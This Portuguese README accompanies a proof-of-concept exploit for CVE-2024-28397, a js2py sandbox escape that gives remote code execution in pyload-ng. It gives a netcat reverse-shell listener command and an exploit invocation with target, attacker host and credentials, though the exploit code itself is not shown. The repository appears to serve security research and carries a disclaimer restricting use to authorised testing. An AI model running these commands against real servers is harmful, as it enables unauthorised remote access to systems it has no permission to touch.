Execução Remota de Código – CVE-2024-28397 (pyload-ng / js2py)

Este repositório contém um exploit de Prova de Conceito (PoC) para CVE-2024-28397, uma vulnerabilidade de Execução Remota de Código que afeta pyload-ng devido ao uso inseguro de js2py.

Aviso:
Este PoC é apenas para fins educacionais e de pesquisa.
Não o utilize em sistemas que não possui ou para os quais não tenha permissão explícita para testar.
O autor não se responsabiliza por qualquer uso indevido deste código.

---

Detalhes da Vulnerabilidade

• CVE ID: CVE-2024-28397
• Componente: js2py em pyload-ng
• Impacto: Execução Remota de Código (RCE)
• Vetor de Ataque: O payload JS malicioso escapa da sandbox js2py e executa comandos arbitrários do sistema.

---

Requisitos e Configuração

Você precisará de Python 3.x, da biblioteca requests e do netcat para capturar o reverse shell.

• Alvo → Instância vulnerável do pyload-ng com endpoint /run_code acessível

Listener → Inicie antes de executar o exploit:

nc -lvnp 4444

Uso:

python3 exploit.py -url http://target.com -lhost YOUR_IP -lport 4444 -user attacker -passwd attacker123

Exemplo de Saída:

• [+] Registro bem-sucedido!
• [+] Login bem-sucedido
• [+] exploit funcionou